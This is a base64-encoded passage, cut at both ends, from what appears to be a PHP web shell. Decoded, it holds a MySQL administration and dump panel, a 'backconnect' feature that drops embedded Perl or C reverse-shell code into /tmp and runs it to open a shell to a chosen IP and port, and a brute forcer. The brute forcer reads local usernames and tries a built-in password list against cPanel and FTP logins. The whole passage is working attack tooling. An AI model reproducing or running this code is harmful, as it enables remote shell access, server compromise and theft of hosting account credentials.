ZShhcnJheSgiXHIiLCAiXG4iLCAiXHQiKSwgYXJyYXkoJyAnLCAnICcsICcgJyksIHRyaW0oaHRtbHNwZWNpYWxjaGFycygkcXVlcnkpKSk7CgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBwcmVnX3JlcGxhY2UoIi9cL1wqW14oXCpcLyldKlwqXC8vaSIsICIgIiwgJHNxbF9saW5lKTsKCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIvZnJvbVxzK2B7MCwxfShbXHddKylgezAsMX1ccysvaSIsJHNxbF9saW5lLCRtYXRjaGVzKTsKCQkJCQkJCQkJCSR0YWJsZW5hbWUgPSAkbWF0Y2hlc1sxXVswXTsKCQkJCQkJCQkJfQoJCQkJCQkJCQkkcmVzdWx0ID0gcSgkcXVlcnkpOwoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOwoJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkPkFjdGlvbjwvdGQ+Jyk7CgkJCQkJCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOwoJCQkJCQkJCQlmb3IoJGk9MDskaTwkZmllbGRudW07JGkrKyl7CgkJCQkJCQkJCQkkbmFtZSA9IEBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsICRpKTsKCQkJCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJcCgiPHRkIG5vd3JhcD4kbmFtZTxicj48c3Bhbj4kdHlwZSgkbGVuKTwvc3Bhbj48L3RkPiIpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJCQkJCXdoaWxlKCRtbiA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSl7CgkJCQkJCQkJCQkkdGhpc2JnID0gYmcoKTsKCQkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7CgkJCQkJCQkJCQkkd2hlcmUgPSAkdG1wID0gJGIxID0gJyc7CgkJCQkJCQkJCQlmb3JlYWNoKCRtbiBhcyAka2V5PT4kaW5zaWRlKXsKCQkJCQkJCQkJCQlpZiAoJGluc2lkZSkgewoJCQkJCQkJCQkJCQkkd2hlcmUgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkaW5zaWRlKS4iJyI7CgkJCQkJCQkJCQkJCSR0bXAgPSAnIEFORCAnOwoJCQkJCQkJCQkJCX0KCQkJCQkJCQkJCQkkYjEgLj0gJzx0ZCBub3dyYXA+Jy5odG1sX2NsZWFuKCRpbnNpZGUpLicmbmJzcDs8L3RkPic7CgkJCQkJCQkJCQl9CgkJCQkJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZW5jb2RlKCR3aGVyZSk7CgkJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdlZGl0XCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RWRpdDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdkZWxcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5EZWw8L2E+PC90ZD4nKTsKCQkJCQkJCQkJCXAoJGIxKTsKCQkJCQkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJCQkJCQl1bnNldCgkYjEpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCXRiZm9vdCgpOwoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCQlicmVhazsKCQkJCQkJCQljYXNlIDI6CgkJCQkJCQkJCSRhciA9IG15c3FsX2FmZmVjdGVkX3Jvd3MoKTsKCQkJCQkJCQkJcCgnPGgyPmFmZmVjdGVkIHJvd3MgOiA8Yj4nLiRhci4nPC9iPjwvaDI+Jyk7CgkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9IGVsc2UgewoJCQkJJHF1ZXJ5ID0gcSgiU0hPVyBUQUJMRSBTVEFUVVMiKTsKCQkJCSR0YWJsZV9udW0gPSAkdGFibGVfcm93cyA9ICRkYXRhX3NpemUgPSAwOwoJCQkJJHRhYmxlZGIgPSBhcnJheSgpOwoJCQkJd2hpbGUoJHRhYmxlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgewoJCQkJCSRkYXRhX3NpemUgPSAkZGF0YV9zaXplICsgJHRhYmxlWydEYXRhX2xlbmd0aCddOwoJCQkJCSR0YWJsZV9yb3dzID0gJHRhYmxlX3Jvd3MgKyAkdGFibGVbJ1Jvd3MnXTsKCQkJCQkkdGFibGVbJ0RhdGFfbGVuZ3RoJ10gPSBzaXplY291bnQoJHRhYmxlWydEYXRhX2xlbmd0aCddKTsKCQkJCQkkdGFibGVfbnVtKys7CgkJCQkJJHRhYmxlZGJbXSA9ICR0YWJsZTsKCQkJCX0KCQkJCSRkYXRhX3NpemUgPSBzaXplY291bnQoJGRhdGFfc2l6ZSk7CgkJCQl1bnNldCgkdGFibGUpOwoJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOwoJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CgkJCQlwKCRkYmZvcm0pOwoJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsKCQkJCXAoJzx0ZCB3aWR0aD0iMiUiIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD4nKTsKCQkJCXAoJzx0ZD5OYW1lPC90ZD4nKTsKCQkJCXAoJzx0ZD5Sb3dzPC90ZD4nKTsKCQkJCXAoJzx0ZD5EYXRhX2xlbmd0aDwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Q3JlYXRlX3RpbWU8L3RkPicpOwoJCQkJcCgnPHRkPlVwZGF0ZV90aW1lPC90ZD4nKTsKCQkJCWlmICgkaGlnaHZlcikgewoJCQkJCXAoJzx0ZD5FbmdpbmU8L3RkPicpOwoJCQkJCXAoJzx0ZD5Db2xsYXRpb248L3RkPicpOwoJCQkJfQoJCQkJcCgnPC90cj4nKTsKCQkJCWZvcmVhY2ggKCR0YWJsZWRiIGFzICRrZXkgPT4gJHRhYmxlKSB7CgkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsKCQkJCQlwKCc8dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjIlIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InRhYmxlW10iIHZhbHVlPSInLiR0YWJsZVsnTmFtZSddLiciIC8+PC90ZD4nKTsKCQkJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnKTsiPicuJHRhYmxlWydOYW1lJ10uJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1Jvd3MnXS4nPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ0RhdGFfbGVuZ3RoJ10uJzwvdGQ+Jyk7CgkJCQkJcCgnPHRkPicuJHRhYmxlWydDcmVhdGVfdGltZSddLic8L3RkPicpOwoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnVXBkYXRlX3RpbWUnXS4nPC90ZD4nKTsKCQkJCQlpZiAoJGhpZ2h2ZXIpIHsKCQkJCQkJcCgnPHRkPicuJHRhYmxlWydFbmdpbmUnXS4nPC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHRhYmxlWydDb2xsYXRpb24nXS4nPC90ZD4nKTsKCQkJCQl9CgkJCQkJcCgnPC90cj4nKTsKCQkJCX0KCQkJCXAoJzx0ciBjbGFzcz1mb3V0PicpOwoJCQkJcCgnPHRkPiZuYnNwOzwvdGQ+Jyk7CgkJCQlwKCc8dGQ+VG90YWwgdGFibGVzOiAnLiR0YWJsZV9udW0uJzwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Jy4kdGFibGVfcm93cy4nPC90ZD4nKTsKCQkJCXAoJzx0ZD4nLiRkYXRhX3NpemUuJzwvdGQ+Jyk7CgkJCQlwKCc8dGQgY29sc3Bhbj0iJy4oJGhpZ2h2ZXIgPyA0IDogMikuJyI+Jm5ic3A7PC90ZD4nKTsKCQkJCXAoJzwvdHI+Jyk7CgoJCQkJcCgiPHRyIGNsYXNzPVwiZm91dFwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA4IDogNikuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOwoJCQkJbWFrZWhpZGUoJ2RvaW5nJywnYmFja3VwbXlzcWwnKTsKCQkJCWZvcm1mb290KCk7CgkJCQlwKCI8L3RhYmxlPiIpOwoJCQkJZnIoJHF1ZXJ5KTsKCQkJfQoJCX0KCX0KCXRiZm9vdCgpOwoJQG15c3FsX2Nsb3NlKCk7Cn0vL2VuZCBzcWwgYmFja3VwCgoKZWxzZWlmICgkYWN0aW9uID09ICdiYWNrY29ubmVjdCcpIHsKCSEkeW91cmlwICYmICR5b3VyaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsKCSR1c2VkYiA9IGFycmF5KCdwZXJsJz0+J3BlcmwnLCdjJz0+J2MnKTsKCgkkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4KCQkiYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUiIuCgkJImhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QiLgoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4KCQkia1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaSIuCgkJIktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwiLgoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsKCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZEMiLgoJCSJCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliIi4KCQkiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuCgkJIktTazdEUW9nYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc2dEUW9nWW5wbGNtOG9ZWEpuZGxzeFhTeHpkSEpzWlc0b1lYSm5kbHN4WFNrck1TdHpkSEoiLgoJCSJzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDIi4KCQkiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuCgkJIlFvZ0lDQmxlR2wwS0RBcE93MEtJSDBOQ2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJb1ptUXNJREFwT3cwS0lHUjFjRElvWm1Rc0lERXAiLgoJCSJPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7CgoJaWYgKCRzdGFydCAmJiAkeW91cmlwICYmICR5b3VycG9ydCAmJiAkdXNlKXsKCQlpZiAoJHVzZSA9PSAncGVybCcpIHsKCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOwoJCQkkcmVzID0gZXhlY3V0ZSh3aGljaCgncGVybCcpLiIgL3RtcC9hbmdlbF9iYyAkeW91cmlwICR5b3VycG9ydCAmIik7CgkJfSBlbHNlIHsKCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsKCQkJJHJlcyA9IGV4ZWN1dGUoJ2djYyAtbyAvdG1wL2FuZ2VsX2JjIC90bXAvYW5nZWxfYmMuYycpOwoJCQlAdW5saW5rKCcvdG1wL2FuZ2VsX2JjLmMnKTsKCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOwoJCX0KCQltKCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICR5b3VyaXAgcG9ydCAkeW91cnBvcnQgLi4uIik7Cgl9CgoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JhY2sgQ29ubmVjdCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29ubmVjdCcpOwoJcCgnPHA+Jyk7CglwKCdZb3VyIElQOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7CglwKCdZb3VyIFBvcnQ6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cnBvcnQnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JHlvdXJwb3J0KSk7CglwKCdVc2U6Jyk7CgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3VzZScsJ29wdGlvbic9PiR1c2VkYiwnc2VsZWN0ZWQnPT4kdXNlKSk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3RhcnQnLCd2YWx1ZSc9PidTdGFydCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwp9Ly9lbmQgYmFja2Nvbm5lY3Qgd2luZG93IHZpYSBOQwoKLy8gQnJ1dGUKZWxzZWlmICgkYWN0aW9uID09ICdicnV0ZScpIHsKZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JydXRlIEZvcmNlcicpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdicnV0ZScpOwoJbWFrZWhpZGUoJ2RpcicsJGJydXRlKTsKQGluaV9zZXQoJ21lbW9yeV9saW1pdCcsIDEwMDAwMDAwMDAwMDApOwokY29ubmVjdF90aW1lb3V0PTU7CkBzZXRfdGltZV9saW1pdCgwKTsKJHN1Ym1pdCA9ICRfUkVRVUVTVFsnc3VibWl0J107CiR1c2VycyA9ICRfUkVRVUVTVFsndXNlcnMnXTsKJHBhc3MgPSAkX1JFUVVFU1RbJ3Bhc3N3b3JkcyddOwokdGFyZ2V0ID0gJF9SRVFVRVNUWyd0YXJnZXQnXTsKJG9wdGlvbiA9ICRfUkVRVUVTVFsnb3B0aW9uJ107CgoKJHBhc3NsaXN0ID0gIjAxMjM0NTYKMDEyMzQ1NjcKMDEyMzQ1Njc4CjAxMjM0NTY3ODkKMDEyMzQ1Njc4OTAKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEyMzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwo0NTY0NTYKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4KYWRtaW5pc3RyYXRvcgphZG1pbmNwCmNwYW5lbAphZG1pbngKYWRtaW5zCnBhc3N3b3JkCnBhc3N3b3JkcwpwYXNzdzByZApwQHNzdzByZApwQHNzd29yZApraG9uZ2NvCjI1MjUxMzI1CnBhc3N3MHJkcyI7CmlmKCR0YXJnZXQgPT0gJycpewokdGFyZ2V0ID0gJ2xvY2FsaG9zdCc7Cn0KcHJpbnQgIiA8ZGl2IGFsaWduPSdjZW50ZXInPgo8Zm9ybSBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdib3JkZXI6IDFweCBzb2xpZCAjMDAwMDAwJz48YnI+PGJyPgo8VEFCTEUgc3R5bGU9J0JPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UnIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM5NjYxMTcgY2VsbFBhZGRpbmc9NSB3aWR0aD0nNDAlJyBiZ0NvbG9yPSMzMDMwMzAgYm9yZGVyQ29sb3JMaWdodD0jOTY2MTE3IGJvcmRlcj0xPjx0cj48dGQ+CjxiPiBUYXJnZXQgIDogPC9mb250PjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0gJHRhcmdldCBzdHlsZT0nYm9yZGVyOiBmb250LWZhbWlseTp0YWhvbWE7IGZvbnQtd2VpZ2h0OmJvbGQ7Jz48L3A+PC9mb250PjwvYj48L3A+CjxkaXYgYWxpZ249J2NlbnRlcic+PGJyPgo8VEFCTEUgc3R5bGU9J0JPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UnIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM5NjYxMTcgY2VsbFBhZGRpbmc9NSB3aWR0aD0nNTAlJyBiZ0NvbG9yPSMzMDMwMzAgYm9yZGVyQ29sb3JMaWdodD0jOTY2MTE3IGJvcmRlcj0xPgo8dHI+Cjx0ZCBhbGlnbj0nY2VudGVyJz4KPGI+VXNlcm5hbWU8L2I+PC90ZD4KPHRkPgo8cCBhbGlnbj0nY2VudGVyJz4KPGI+UGFzc3dvcmQ8L2I+PC90ZD4KPC90cj4KPC90YWJsZT4KPHAgYWxpZ249J2NlbnRlcic+Cjx0ZXh0YXJlYSByb3dzPScyMCcgbmFtZT0ndXNlcnMnIGNvbHM9JzI1JyBzdHlsZT0nYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+IjsKJGkgPSAwOwp3aGlsZSAoJGkgPCA2MDAwMCkgewoKICAgICRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOwogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsKCiAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YmFfZXRjcHdkKSA9IGVhY2goJGxpbmUpKXsKICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgfQoKICAgJGkrKzsKfQplY2hvICIKPC90ZXh0YXJlYT4KPHRleHRhcmVhIHJvd3M9JzIwJyBuYW1lPSdwYXNzd29yZHMnIGNvbHM9JzI1JyBzdHlsZT0nYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+JHBhc3NsaXN0PC90ZXh0YXJlYT48YnI+Cjxicj4KPGI+T3B0aW9ucyA6IDwvc3Bhbj48aW5wdXQgbmFtZT0nb3B0aW9uJyB2YWx1ZT0nY3BhbmVsJyBzdHlsZT0nZm9udC13ZWlnaHQ6IDcwMDsnIGNoZWNrZWQgdHlwZT0ncmFkaW8nPiBjUGFuZWwKPGlucHV0IG5hbWU9J29wdGlvbicgdmFsdWU9J2Z0cCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyB0eXBlPSdyYWRpbyc+IGZ0cCA9PT4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0F0dGFjaycgbmFtZT0nc3VibWl0JyA+PC9wPgo8L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPjxwIGFsaWduPSAnbGVmdCc+IjsKPz4KPD9waHAKZnVuY3Rpb24gZnRwX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KXsKJGNoID0gY3VybF9pbml0KCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJmdHA6Ly8kaG9zdCIpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZUUExJU1RPTkxZLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOwpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7CiRkYXRhID0gY3VybF9leGVjKCRjaCk7CmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkgewoKcHJpbnQgIjxiPiBFcnJvciA6IENvbm5lY3Rpb24gdGltZWQgb3V0ICwgbWFrZSBjb25maWRlbmNlIGFib3V0IHZhbGlkYXRpb24gb2YgdGFyZ2V0ICE8L2I+IjsKZXhpdDt9CgplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApewoKcCgiPGI+WyBhdHRhY2tAdmJhdGVhbS5uZXQgXSMgPC9iPgo8Yj4gQXR0YWNraW5nIGhhcyBiZWVuIGRvbmUhIFVzZXJuYW1lOiA8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICR1c2VyIDwvZm9udD4gLyBQYXNzd29yZDo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICRwYXNzIDwvZm9udD4gPT4gPGEgaHJlZj1odHRwOi8vJHVzZXI6JHBhc3NAJGhvc3Q6MjA4MiB0YXJnZXQ9X2JsYW5rPkxvZ2luPC9hPjwvYj48YnI+Iik7Cn0KY3VybF9jbG9zZSgkY2gpO30KCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7CiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cDovLyRob3N0OjIwODIiKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsKY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwokZGF0YSA9IGN1cmxfZXhlYygkY2gpOwppZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsKcHJpbnQgIjxiPiBFcnJvciA6IENvbm5lY3Rpb24gdGltZWQgb3V0ICwgbWFrZSBjb25maWRlbmNlIGFib3V0IHZhbGlkYXRpb24gb2YgdGFyZ2V0ICE8L2I+IjsKZXhpdDt9CmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAwICl7CgpwKCI8Yj5bIGF0dGFja0B2YmF0ZWFtLm5ldCBdIyA8L2I+PGI+QXR0YWNraW5nIGhhcyBiZWVuIGRvbmUhPC9hPiBVc2VybmFtZTogPGZvbnQgY29sb3I9JyNGRjAwMDAnPiAkdXNlciA8L2ZvbnQ+IC8gUGFzc3dvcmQ6PGZvbnQgY29sb3I9JyNGRjAwMDAnPiAkcGFzcyA8L2ZvbnQ+PC9iPjxicj4iKTt9Y3VybF9jbG9zZSgkY2gpO30KCmlmKGlzc2V0KCRzdWJtaXQpICYmICFlbXB0eSgkc3VibWl0KSl7CgokdXNlcmxpc3QgPSBleHBsb2RlICgiXG4iICwgJHVzZXJzICk7CiRwYXNzbGlzdCA9IGV4cGxvZGUgKCJcbiIgLCAkcGFzcyApOwpwKCc8Yj5bIGF0dGFja0B2YmF0ZWFtLm5ldCBdIyBBdHRhY2tpbmcgLi4uPC9mb250PjwvYj48YnI+Jyk7CmZvcmVhY2ggKCR1c2VybGlzdCBhcyAkdXNlcikgewokX3VzZXIgPSB0cmltKCR1c2VyKTsKZm9yZWFjaCA